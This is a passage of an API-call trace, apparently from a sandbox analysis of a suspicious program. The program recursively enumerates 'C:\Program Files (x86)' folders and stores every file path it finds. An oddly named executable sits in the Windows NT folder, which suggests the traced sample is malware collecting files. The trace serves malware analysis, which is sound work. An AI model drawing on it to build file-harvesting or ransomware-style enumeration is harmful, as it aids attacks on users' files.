lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\") returned="c:\\Program Files (x86)\\Windows NT\\" [0041.598] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0041.598] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\*") returned="c:\\Program Files (x86)\\Windows NT\\*" [0041.599] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.599] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.599] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.599] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.599] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.599] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.599] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0041.599] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0041.599] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0041.599] lstrlenW (lpString="Accessories") returned 11 [0041.599] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="Accessories" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories") returned="c:\\Program Files (x86)\\Windows NT\\Accessories" [0041.599] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\" [0041.599] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0041.599] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\*") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\*" [0041.599] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.599] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.599] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.599] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.599] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.599] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.599] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.599] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.599] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0041.599] lstrlenW (lpString="en-US") returned 5 [0041.599] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" [0041.599] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.599] lstrcmpW (lpString1="wordpad.exe", lpString2=".") returned 1 [0041.599] lstrcmpW (lpString1="wordpad.exe", lpString2="..") returned 1 [0041.599] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0041.599] lstrlenW (lpString="wordpad.exe") returned 11 [0041.599] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0041.599] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned 57 [0041.599] lstrcpyW (in: lpString1=0x926140, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0041.599] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.599] lstrcmpW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0041.599] lstrcmpW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0041.599] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0041.599] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0041.599] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0041.599] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned 63 [0041.599] lstrcpyW (in: lpString1=0x922798, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0041.599] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.599] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.600] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.600] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2=".") returned 1 [0041.600] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2="..") returned 1 [0041.600] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0041.600] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0041.600] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0041.600] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned 62 [0041.600] lstrcpyW (in: lpString1=0x922820, lpString2="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0041.600] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.600] lstrcmpW (lpString1="TableTextService", lpString2=".") returned 1 [0041.600] lstrcmpW (lpString1="TableTextService", lpString2="..") returned 1 [0041.600] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0041.600] lstrlenW (lpString="TableTextService") returned 16 [0041.600] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="TableTextService" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService" [0041.600] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\" [0041.600] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.600] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*" [0041.600] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.600] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.600] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.600] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.600] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.601] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.601] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.601] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.601] lstrlenW (lpString="en-US") returned 5 [0041.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" [0041.601] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.601] lstrcmpW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0041.601] lstrcmpW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.601] lstrlenW (lpString="TableTextService.dll") returned 20 [0041.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned 71 [0041.601] lstrcpyW (in: lpString1=0x9286f0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0041.601] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.601] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0041.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned 78 [0041.601] lstrcpyW (in: lpString1=0x928788, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0041.601] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.601] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0041.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned 76 [0041.601] lstrcpyW (in: lpString1=0x928830, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0041.601] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.601] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0041.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned 75 [0041.601] lstrcpyW (in: lpString1=0x9288d8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0041.601] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.601] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0041.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned 88 [0041.601] lstrcpyW (in: lpString1=0x928978, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0041.601] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0041.601] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0041.601] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.601] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0041.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0041.602] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned 90 [0041.602] lstrcpyW (in: lpString1=0x928a38, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0041.602] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.602] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0041.602] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0041.602] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.602] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0041.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0041.602] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned 88 [0041.602] lstrcpyW (in: lpString1=0x928af8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0041.602] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.602] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0041.602] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0041.602] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0041.602] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0041.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0041.602] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned 73 [0041.602] lstrcpyW (in: lpString1=0x928bb8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0041.602] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.602] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.602] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.602] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.602] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.602] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0041.602] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0041.602] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.602] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0041.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Photo Viewer" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer") returned="c:\\Program Files (x86)\\Windows Photo Viewer" [0041.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\" [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0041.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\*" [0041.603] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.603] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.603] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.603] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.603] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.603] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.603] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.603] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0041.603] lstrlenW (lpString="en-US") returned 5 [0041.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0041.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\" [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0041.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*" [0041.603] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.603] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.603] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.603] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.603] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.603] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.603] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0041.603] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0041.603] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0041.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned 72 [0041.603] lstrcpyW (in: lpString1=0x928c58, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0041.603] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.603] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0041.603] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0041.603] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0041.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned 66 [0041.603] lstrcpyW (in: lpString1=0x928cf8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0041.603] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.603] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0041.603] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0041.603] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0041.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0041.603] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned 69 [0041.604] lstrcpyW (in: lpString1=0x928d88, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0041.604] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.604] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.604] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.604] lstrcmpW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0041.604] lstrcmpW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0041.604] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0041.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0041.604] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned 62 [0041.604] lstrcpyW (in: lpString1=0x9228a8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0041.604] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.604] lstrcmpW 